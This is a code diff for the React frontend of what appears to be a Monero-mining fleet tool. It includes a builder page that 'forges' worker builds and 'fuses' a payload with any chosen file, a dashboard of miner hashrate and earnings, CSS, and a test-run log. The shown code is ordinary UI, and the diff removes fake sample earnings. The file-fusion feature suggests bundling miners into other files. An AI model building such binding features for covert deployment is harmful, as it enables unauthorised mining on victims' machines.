+  }, [searchParams, recentBuilds, form]);
 
   const finishForgeSuccess = async (result: BuildResponse) => {
     setStage('Build complete!', 100);
@@ -355,6 +366,12 @@ export default function BuilderPage() {
     }
   };
 
+  const focusFusionPrepPicker = () => {
+    setHighlightFusionPrep(true);
+    fusionPrepRef.current?.scrollIntoView({ behavior: 'smooth', block: 'center' });
+    window.setTimeout(() => setHighlightFusionPrep(false), 6000);
+  };
+
   const reForgeFromBuild = async (build: BuildRecord) => {
     if (!form) return;
     const merged = buildRequestFromRecord(build, form as unknown as Record<string, unknown>) as unknown as BuildRequest;
@@ -366,8 +383,9 @@ export default function BuilderPage() {
     // server after a build completes (M15). Prompt the user to re-upload first.
     if (merged.fusion_enabled && !fusionPrepFile) {
       setError(
-        'This build used a Fusion payload. Re-upload the payload file in the Fusion section above, then click "Re-forge" again.'
+        'This build used a Fusion payload. Re-upload the payload file in the Fusion section below, then confirm Re-forge again.'
       );
+      focusFusionPrepPicker();
       return;
     }
 
@@ -651,7 +669,16 @@ export default function BuilderPage() {
       await finishForgeSuccess(result);
     } catch (err: any) {
       if (err.message !== 'build cancelled') {
-        setError(err.message || 'Build failed');
+        let msg = err?.message || 'Build failed';
+        const aborted =
+          err?.name === 'AbortError' ||
+          /abort|timed out|timeout/i.test(msg);
+        if (aborted) {
+          msg =
+            'Forge request ended early (browser or proxy timeout). The server may still be compiling — open Build Manager or refresh this page in a minute.';
+        }
+        setError(msg);
+        void loadRecentBuilds();
       }
     } finally {
       cancelTokenRef.current = '';
@@ -702,7 +729,7 @@ export default function BuilderPage() {
     [form, fusionPrepFile]
   );
   const preflightChecks = useMemo(
-    () => (form ? runForgePreflight(form, !!fusionPrepFile) : []),
+    () => (form ? runForgePreflight(normalizeForgeForm(form), !!fusionPrepFile) : []),
     [form, fusionPrepFile]
   );
   const canForge = form ? !preflightHasErrors(preflightChecks) : false;
@@ -811,6 +838,39 @@ export default function BuilderPage() {
   return (
     <div className="page fade-in command-deck">
       <SetupBanner status={setupStatus} />
+      {pendingReforgeBuild && (
+        <div className="reforge-confirm-banner form-error" role="alert">
+          <span>⚒</span>
+          <div style={{ flex: 1 }}>
+            <strong>Re-forge {pendingReforgeBuild.worker_name}?</strong>
+            <p className="form-hint" style={{ margin: '0.35rem 0 0', color: 'inherit' }}>
+              Settings were loaded from Build Manager. Confirm to start compiling — this cannot be undone mid-forge.
+            </p>
+          </div>
+          <div style={{ display: 'flex', gap: '0.5rem', flexShrink: 0 }}>
+            <button
+              type="button"
+              className="btn btn-primary btn-sm"
+              disabled={building}
+              onClick={() => {
+                const build = pendingReforgeBuild;
+                setPendingReforgeBuild(null);
+                void reForgeFromBuild(build);
+              }}
+            >
+              Confirm Re-forge
+            </button>
+            <button
+              type="button"
+              className="btn btn-outline btn-sm"
+              disabled={building}
+              onClick={() => setPendingReforgeBuild(null)}
+            >
+              Cancel
+            </button>
+          </div>
+        </div>
+      )}
       {/* Hidden file input for importing blueprint .json files */}
       <input
         type="file"
@@ -1867,7 +1927,10 @@ export default function BuilderPage() {
               {form.fusion_enabled && (
                 <>
                   {/* Single-file pick (used when Forge button is clicked) */}
-                  <div className={`form-group ${fieldMeta.fusion_prep?.disabled ? 'field-disabled' : ''}`}>
+                  <div
+                    ref={fusionPrepRef}
+                    className={`form-group fusion-prep-picker${highlightFusionPrep ? ' fusion-prep-highlight' : ''}${fieldMeta.fusion_prep?.disabled ? ' field-disabled' : ''}`}
+                  >
                     <div className="label-row">
                       <label className="label">
                         Drop any file to fuse <HelpTip field="fusion_prep" />
@@ -1880,6 +1943,7 @@ export default function BuilderPage() {
                       accept="*"
                       onChange={(e) => {
                         applyFusionFileSelection(e.target.files?.[0] || null);
+                        setHighlightFusionPrep(false);
                         e.target.value = '';
                       }}
                     />

server/web/src/pages/DashboardPage.test.tsx

@@ -123,12 +123,12 @@ describe('DashboardPage', () => {
     expect(await screen.findByText('No miners on the wire')).toBeInTheDocument();
   });
 
-  it('shows projection charts and wealth strip with no agents', async () => {
+  it('does not show projection or fake earnings with no agents', async () => {
     renderDashboard();
-    expect(await screen.findByText(/Projection mode/i)).toBeInTheDocument();
-    expect(await screen.findByText('Fleet Hashrate Wave')).toBeInTheDocument();
-    expect(await screen.findByText('Accept Rate Pulse')).toBeInTheDocument();
-    expect(await screen.findByText('Target Fleet Earnings')).toBeInTheDocument();
+    expect(await screen.findByText('Command Deck')).toBeInTheDocument();
+    expect(screen.queryByText(/Projection mode/i)).not.toBeInTheDocument();
+    expect(screen.queryByText('Target Fleet Earnings')).not.toBeInTheDocument();
+    expect(screen.queryByText('Vault-01')).not.toBeInTheDocument();
   });
 
   it('renders stat labels and top agent card', async () => {

server/web/src/pages/DashboardPage.tsx

@@ -12,7 +12,6 @@ import {
   PoolStatusPanel,
   AIActivityPanel,
   EarningsEstimator,
-  WealthEarningsPreview,
   FleetHealthCard,
   ContributionBars,
   UnderperformerList,
@@ -46,9 +45,6 @@ import {
 } from '../help/fleetAnalytics';
 import {
   resolveChartSeries,
-  SAMPLE_ACTIVITY,
-  SAMPLE_CONTRIBUTION_BARS,
-  SAMPLE_FLEET_PREVIEW,
 } from '../help/chartSampleData';
 import './Pages.css';
 
@@ -133,6 +129,14 @@ export default function DashboardPage() {
     }
   }, [recentShares]);
 
+  useEffect(() => {
+    const liveIds = new Set(agents.map((a) => a.id));
+    setSelectedIds((prev) => {
+      const pruned = new Set([...prev].filter((id) => liveIds.has(id)));
+      return pruned.size === prev.size ? prev : pruned;
+    });
+  }, [agents]);
+
   const totalHashrate = agents.reduce((sum, a) => sum + a.hashrate_15m, 0);
   const onlineCount = agents.filter((a) => a.status === 'online').length;
   const totalShares = agents.reduce((sum, a) => sum + a.shares_total, 0);
@@ -154,7 +158,7 @@ export default function DashboardPage() {
     [gpuAgents]
   );
   const bestGPUAgent = useMemo(
-    () => gpuAgents.sort((a, b) => (b.gpu_hashrate_15m ?? 0) - (a.gpu_hashrate_15m ?? 0))[0] ?? null,
+    () => [...gpuAgents].sort((a, b) => (b.gpu_hashrate_15m ?? 0) - (a.gpu_hashrate_15m ?? 0))[0] ?? null,
     [gpuAgents]
   );
   const gpuModels = useMemo(
@@ -166,10 +170,8 @@ export default function DashboardPage() {
   const avgMem = agents.length > 0 ? agents.reduce((s, a) => s + a.memory_usage_pct, 0) / agents.length : 0;
   const onlinePct = agents.length > 0 ? (onlineCount / agents.length) * 100 : 0;
 
-  const previewDeck = agents.length === 0 || (totalHashrate <= 0 && onlineCount === 0);
-
   useEffect(() => {
-    if (previewDeck || totalHashrate <= 0) {
+    if (totalHashrate <= 0) {
       setEstXmrDay(null);
       return;
     }
@@ -183,15 +185,7 @@ export default function DashboardPage() {
         if (!controller.signal.aborted) setEstXmrDay(null);
       });
     return () => controller.abort();
-  }, [totalHashrate, previewDeck]);
-
-  const displayHashrate = previewDeck ? SAMPLE_FLEET_PREVIEW.hashrate : totalHashrate;
-  const displayAccept = previewDeck ? SAMPLE_FLEET_PREVIEW.acceptRate : acceptRate;
-  const displayCpu = previewDeck ? SAMPLE_FLEET_PREVIEW.avgCpu : avgCpu;
-  const displayMem = previewDeck ? SAMPLE_FLEET_PREVIEW.avgMem : avgMem;
-  const displayOnlinePct = previewDeck ? SAMPLE_FLEET_PREVIEW.onlinePct : onlinePct;
-  const displayOnline = previewDeck ? SAMPLE_FLEET_PREVIEW.onlineCount : onlineCount;
-  const displayAgentTotal = previewDeck ? SAMPLE_FLEET_PREVIEW.agentCount : agents.length;
+  }, [totalHashrate]);
 
   useEffect(() => {
     const now = new Date().toLocaleTimeString();
@@ -199,38 +193,21 @@ export default function DashboardPage() {
     setAcceptHistory((prev) => [...prev.slice(-59), { time: now, value: acceptRate }]);
     setCpuHistory((prev) => [...prev.slice(-59), { time: now, value: avgCpu }]);
     setMemHistory((prev) => [...prev.slice(-59), { time: now, value: avgMem }]);
-    const gpuVal = totalGPUHashrate > 0 ? totalGPUHashrate : previewDeck ? 48_500_000 : 0;
-    if (gpuVal > 0 || previewDeck) {
-      setGpuHistory((prev) => [...prev.slice(-59), { time: now, value: gpuVal }]);
+    if (totalGPUHashrate > 0) {
+      setGpuHistory((prev) => [...prev.slice(-59), { time: now, value: totalGPUHashrate }]);
     }
-  }, [totalHashrate, acceptRate, avgCpu, avgMem, totalGPUHashrate, previewDeck]);
+  }, [totalHashrate, acceptRate, avgCpu, avgMem, totalGPUHashrate]);
 
-  const hashChart = useMemo(
-    () => resolveChartSeries(hashHistory, 'hashrate', { tailValue: displayHashrate }),
-    [hashHistory, displayHashrate]
-  );
-  const acceptChart = useMemo(
-    () => resolveChartSeries(acceptHistory, 'accept', { tailValue: displayAccept }),
-    [acceptHistory, displayAccept]
-  );
-  const cpuChart = useMemo(
-    () => resolveChartSeries(cpuHistory, 'cpu', { tailValue: displayCpu }),
-    [cpuHistory, displayCpu]
-  );
-  const memChart = useMemo(
-    () => resolveChartSeries(memHistory, 'mem', { tailValue: displayMem }),
-    [memHistory, displayMem]
-  );
-  const gpuChart = useMemo(
-    () => resolveChartSeries(gpuHistory, 'gpu', { tailValue: totalGPUHashrate || 48_500_000 }),
-    [gpuHistory, totalGPUHashrate]
-  );
+  const hashChart = useMemo(() => resolveChartSeries(hashHistory), [hashHistory]);
+  const acceptChart = useMemo(() => resolveChartSeries(acceptHistory), [acceptHistory]);
+  const cpuChart = useMemo(() => resolveChartSeries(cpuHistory), [cpuHistory]);
+  const memChart = useMemo(() => resolveChartSeries(memHistory), [memHistory]);
+  const gpuChart = useMemo(() => resolveChartSeries(gpuHistory), [gpuHistory]);
 
   const estUsdDay = useMemo(() => {
-    const price = xmrPrice ?? SAMPLE_FLEET_PREVIEW.xmrPrice;
-    const xmr = previewDeck ? SAMPLE_FLEET_PREVIEW.xmrPerDay : estXmrDay;
-    return xmr != null ? xmr * price : null;
-  }, [previewDeck, estXmrDay, xmrPrice]);
+    if (estXmrDay == null || xmrPrice == null) return null;
+    return estXmrDay * xmrPrice;
+  }, [estXmrDay, xmrPrice]);
 
   const filteredAgents = useMemo(() => filterFleetAgents(agents, filters), [agents, filters]);
 
@@ -247,9 +224,8 @@ export default function DashboardPage() {
       ok: s.accepted,
       time: s.timestamp ? new Date(s.timestamp).toLocaleTimeString() : undefined,
     }));
-    if (live.length > 0) return live;
-    return previewDeck ? SAMPLE_ACTIVITY : live;
-  }, [shares, previewDeck]);
+    return live;
+  }, [shares]);
 
   const totalShareCount = agents.reduce((sum, a) => sum + a.shares_total, 0);
   const alerts = fleetAlerts.length > 0 ? fleetAlerts : restAlerts;
@@ -427,12 +403,6 @@ export default function DashboardPage() {
         <AuditLogStrip limit={6} />
       </div>
 
-      {previewDeck && (
-        <p className="preview-deck-hint font-tech" role="status">
-          Projection mode — charts validated with sample telemetry until your fleet connects
-        </p>
-      )}
-
       <header className="deck-hero wealth-hero">
         <div className="deck-hero-text">
           <p className="deck-eyebrow font-tech">PERSONAL NETWORK · LIVE TELEMETRY</p>
@@ -470,7 +440,7 @@ export default function DashboardPage() {
       <div className="deck-wealth-strip" aria-label="Fleet yield snapshot">
         <div className="deck-wealth-pill">
           <div className="dwp-label">Fleet Hash</div>
-          <div className="dwp-value mint">{formatHashrate(displayHashrate)}</div>
+          <div className="dwp-value mint">{formatHashrate(totalHashrate)}</div>
           <div className="dwp-sub">15m rolling</div>
         </div>
         <div className="deck-wealth-pill">
@@ -478,19 +448,19 @@ export default function DashboardPage() {
           <div className="dwp-value mint">
             {estUsdDay != null ? `≈ $${estUsdDay.toFixed(2)}` : '—'}
           </div>
-          <div className="dwp-sub">{previewDeck ? 'projection' : 'from live hashrate'}</div>
+          <div className="dwp-sub">{totalHashrate > 0 ? 'from live hashrate' : 'no active hashing'}</div>
         </div>
         <div className="deck-wealth-pill">
           <div className="dwp-label">Accept</div>
-          <div className="dwp-value">{displayAccept.toFixed(1)}%</div>
+          <div className="dwp-value">{acceptRate.toFixed(1)}%</div>
           <div className="dwp-sub">share quality</div>
         </div>
         <div className="deck-wealth-pill">
           <div className="dwp-label">Nodes Live</div>
           <div className="dwp-value">
-            {displayOnline}/{displayAgentTotal}
+            {onlineCount}/{agents.length}
           </div>
-          <div className="dwp-sub">{displayOnlinePct.toFixed(0)}% online</div>
+          <div className="dwp-sub">{onlinePct.toFixed(0)}% online</div>
         </div>
       </div>
 
@@ -514,8 +484,8 @@ export default function DashboardPage() {
       <section className="gauge-row">
         <NeonCard accent="cyan" className="gauge-card" hud>
           <GaugeRing
-            value={displayHashrate}
-            max={Math.max(displayHashrate * 1.2, 1000)}
+            value={totalHashrate}
+            max={Math.max(totalHashrate * 1.2, 1000)}
             label="Fleet Hash"
             sublabel="15m avg"
             color="var(--neon-cyan)"
@@ -524,21 +494,21 @@ export default function DashboardPage() {
         </NeonCard>
         <NeonCard accent="green" className="gauge-card" hud>
           <GaugeRing
-            value={displayOnlinePct}
+            value={onlinePct}
             label="Online"
-            sublabel={`${displayOnline}/${displayAgentTotal}`}
+            sublabel={`${onlineCount}/${agents.length}`}
             color="var(--neon-green)"
             size={110}
           />
         </NeonCard>
         <NeonCard accent="purple" className="gauge-card" hud>
-          <GaugeRing value={displayAccept} label="Accept" sublabel="share rate" color="var(--neon-purple)" size={110} />
+          <GaugeRing value={acceptRate} label="Accept" sublabel="share rate" color="var(--neon-purple)" size={110} />
         </NeonCard>
         <NeonCard accent="amber" className="gauge-card" hud>
           <GaugeRing
-            value={displayCpu}
+            value={avgCpu}
             label="CPU"
-            sublabel={`RAM ${displayMem.toFixed(0)}%`}
+            sublabel={`RAM ${avgMem.toFixed(0)}%`}
             color="var(--neon-amber)"
             size={110}
           />
@@ -548,26 +518,24 @@ export default function DashboardPage() {
       <div className="grid-4 stats-grid steampunk-stats">
         <NeonCard accent="cyan" className="stat-card-wrap wealth-stat">
           <div className="stat-label font-tech">Total Hashrate</div>
-          <div className="stat-value hashrate neon-glow-cyan">{formatHashrate(displayHashrate)}</div>
-          <div className="stat-sub">{displayOnline} engines firing</div>
+          <div className="stat-value hashrate neon-glow-cyan">{formatHashrate(totalHashrate)}</div>
+          <div className="stat-sub">{onlineCount} engines firing</div>
         </NeonCard>
-        {previewDeck ? (
-          <WealthEarningsPreview xmrPrice={xmrPrice} />
-        ) : (
-          <EarningsEstimator hashrate={totalHashrate} xmrPrice={xmrPrice} />
-        )}
+        <EarningsEstimator hashrate={totalHashrate} xmrPrice={xmrPrice} />
         <NeonCard accent="green" className="stat-card-wrap wealth-stat">
           <div className="stat-label font-tech">Fleet Online</div>
           <div className="stat-value accepted">
-            {displayOnline} <span className="stat-dim">/ {displayAgentTotal}</span>
+            {onlineCount} <span className="stat-dim">/ {agents.length}</span>
           </div>
-          <div className="stat-sub">{displayAgentTotal - displayOnline} dormant</div>
+          <div className="stat-sub">{agents.length - onlineCount} dormant</div>
         </NeonCard>
         <NeonCard accent="purple" className="stat-card-wrap wealth-stat">
           <div className="stat-label font-tech">Accept Rate</div>
-          <div className="stat-value neon-glow-purple">{displayAccept.toFixed(1)}%</div>
+          <div className="stat-value neon-glow-purple">{acceptRate.toFixed(1)}%</div>
           <div className="stat-sub">
-            {previewDeck ? 'sample pool quality' : `${acceptedShares} valid · ${rejectedShares} rejected`}
+            {acceptedShares + rejectedShares > 0
+              ? `${acceptedShares} valid · ${rejectedShares} rejected`
+              : 'no shares yet'}
           </div>
         </NeonCard>
         <NeonCard accent="amber" className="stat-card-wrap">
@@ -819,9 +787,8 @@ export default function DashboardPage() {
 
       {/* ── Analytics row — always visible ─────────────────────────────────── */}
       <ContributionBars
-        bars={contribs.length > 0 ? contribs : previewDeck ? SAMPLE_CONTRIBUTION_BARS : []}
-        sample={previewDeck && contribs.length === 0}
-        xmrPerDay={previewDeck ? SAMPLE_FLEET_PREVIEW.xmrPerDay : undefined}
+        bars={contribs}
+        xmrPerDay={estXmrDay ?? undefined}
         xmrPrice={xmrPrice}
       />
       <UnderperformerList underperformers={underperformers} medianHashrate={medianHash} />
@@ -862,7 +829,7 @@ export default function DashboardPage() {
         </div>
       </Suspense>
 
-      {(hasGPUMining || previewDeck) && (
+      {hasGPUMining && (
         <Suspense fallback={<ChartPlaceholder height={220} />}>
           <NeonCard accent="gold" tilt3d className="chart-row" style={{ marginTop: '1rem' }}>
             <HashrateChart
@@ -907,7 +874,7 @@ export default function DashboardPage() {
           <span className="section-ornament">◆</span> Share Activity Pulse
           <span className="section-line" />
         </h2>
-        <ActivityPulse items={activityItems} sample={previewDeck && shares.length === 0} />
+        <ActivityPulse items={activityItems} />
       </NeonCard>
 
       <section className="section">

server/web/src/pages/Pages.css

@@ -501,6 +501,26 @@
   margin-bottom: 1rem;
 }
 
+.reforge-confirm-banner {
+  color: var(--neon-cyan, #00e5ff);
+  background: rgba(0, 229, 255, 0.08);
+  border-color: rgba(0, 229, 255, 0.35);
+}
+
+.fusion-prep-picker.fusion-prep-highlight {
+  padding: 0.75rem;
+  border-radius: 8px;
+  outline: 2px solid var(--accent-red);
+  outline-offset: 2px;
+  background: rgba(239, 68, 68, 0.08);
+  animation: fusion-prep-pulse 1.2s ease-in-out 3;
+}
+
+@keyframes fusion-prep-pulse {
+  0%, 100% { outline-color: var(--accent-red); }
+  50% { outline-color: rgba(239, 68, 68, 0.35); }
+}
+
 .build-btn {
   width: 100%;
   justify-content: center;

server/web/src/styles/global.css

@@ -50,6 +50,18 @@ body {
   padding: 2rem;
 }
 
+.session-degraded-banner {
+  position: sticky;
+  top: 0;
+  z-index: 200;
+  padding: 0.5rem 1rem;
+  text-align: center;
+  font-size: 0.85rem;
+  color: #fbbf24;
+  background: rgba(251, 191, 36, 0.12);
+  border-bottom: 1px solid rgba(251, 191, 36, 0.35);
+}
+
 .error-boundary-fallback {
   padding: 1.5rem;
   margin: 1rem 0;

server/web/vitest-summary.txt

@@ -0,0 +1,49 @@
+
+ RUN  v2.1.9 G:/crypto miner/server/web
+
+stderr | src/components/components.test.tsx > ErrorBoundary > shows fallback UI and clears error on retry
+The above error occurred in the <MaybeThrow> component:
+
+    at MaybeThrow (G:\crypto miner\server\web\src\components\components.test.tsx:261:27)
+    at ErrorBoundary (G:\crypto miner\server\web\src\components\ErrorBoundary.tsx:6:1)
+
+React will try to recreate this component tree from scratch using the error boundary you provided, ErrorBoundary.
+UI error: Error: render boom
+    at MaybeThrow (G:\crypto miner\server\web\src\components\components.test.tsx:231:27)
+    at renderWithHooks (G:\crypto miner\server\web\node_modules\react-dom\cjs\react-dom.development.js:15486:18)
+    at mountIndeterminateComponent (G:\crypto miner\server\web\node_modules\react-dom\cjs\react-dom.development.js:20103:13)
+    at beginWork (G:\crypto miner\server\web\node_modules\react-dom\cjs\react-dom.development.js:21626:16)
+    at HTMLUnknownElement.callCallback (G:\crypto miner\server\web\node_modules\react-dom\cjs\react-dom.development.js:4164:14)
+    at HTMLUnknownElement.#callDispatchEventListeners (file:///G:/crypto%20miner/server/web/node_modules/happy-dom/lib/event/EventTarget.js:218:30)
+    at HTMLUnknownElement.dispatchEvent (file:///G:/crypto%20miner/server/web/node_modules/happy-dom/lib/event/EventTarget.js:88:41)
+    at HTMLUnknownElement.dispatchEvent (file:///G:/crypto%20miner/server/web/node_modules/happy-dom/lib/nodes/element/Element.js:948:35)
+    at HTMLUnknownElement.#goThroughDispatchEventPhases (file:///G:/crypto%20miner/server/web/node_modules/happy-dom/lib/event/EventTarget.js:140:38)
+    at HTMLUnknownElement.dispatchEvent (file:///G:/crypto%20miner/server/web/node_modules/happy-dom/lib/event/EventTarget.js:85:47) {
+  componentStack: '\n' +
+    '    at MaybeThrow (G:\\crypto miner\\server\\web\\src\\components\\components.test.tsx:261:27)\n' +
+    '    at ErrorBoundary (G:\\crypto miner\\server\\web\\src\\components\\ErrorBoundary.tsx:6:1)'
+}
+
+stderr | src/components/components.test.tsx > ErrorBoundary > uses custom fallback when provided
+The above error occurred in the <ThrowOnce> component:
+
+    at ThrowOnce (G:\crypto miner\server\web\src\components\components.test.tsx:120:22)
+    at ErrorBoundary (G:\crypto miner\server\web\src\components\ErrorBoundary.tsx:6:1)
+
+React will try to recreate this component tree from scratch using the error boundary you provided, ErrorBoundary.
+UI error: Error: render boom
+    at ThrowOnce (G:\crypto miner\server\web\src\components\components.test.tsx:109:26)
+    at renderWithHooks (G:\crypto miner\server\web\node_modules\react-dom\cjs\react-dom.development.js:15486:18)
+    at mountIndeterminateComponent (G:\crypto miner\server\web\node_modules\react-dom\cjs\react-dom.development.js:20103:13)
+    at beginWork (G:\crypto miner\server\web\node_modules\react-dom\cjs\react-dom.development.js:21626:16)
+    at HTMLUnknownElement.callCallback (G:\crypto miner\server\web\node_modules\react-dom\cjs\react-dom.development.js:4164:14)
+    at HTMLUnknownElement.#callDispatchEventListeners (file:///G:/crypto%20miner/server/web/node_modules/happy-dom/lib/event/EventTarget.js:218:30)
+    at HTMLUnknownElement.dispatchEvent (file:///G:/crypto%20miner/server/web/node_modules/happy-dom/lib/event/EventTarget.js:88:41)
+    at HTMLUnknownElement.dispatchEvent (file:///G:/crypto%20miner/server/web/node_modules/happy-dom/lib/nodes/element/Element.js:948:35)
+    at HTMLUnknownElement.#goThroughDispatchEventPhases (file:///G:/crypto%20miner/server/web/node_modules/happy-dom/lib/event/EventTarget.js:140:38)
+    at HTMLUnknownElement.dispatchEvent (file:///G:/crypto%20miner/server/web/node_modules/happy-dom/lib/event/EventTarget.js:85:47) {
+  componentStack: '\n' +
+    '    at ThrowOnce (G:\\crypto miner\\server\\web\\src\\components\\components.test.tsx:120:22)\n' +
+    '    at ErrorBoundary (G:\\crypto miner\\server\\web\\src\\components\\ErrorBoundary.tsx:6:1)'
+}
+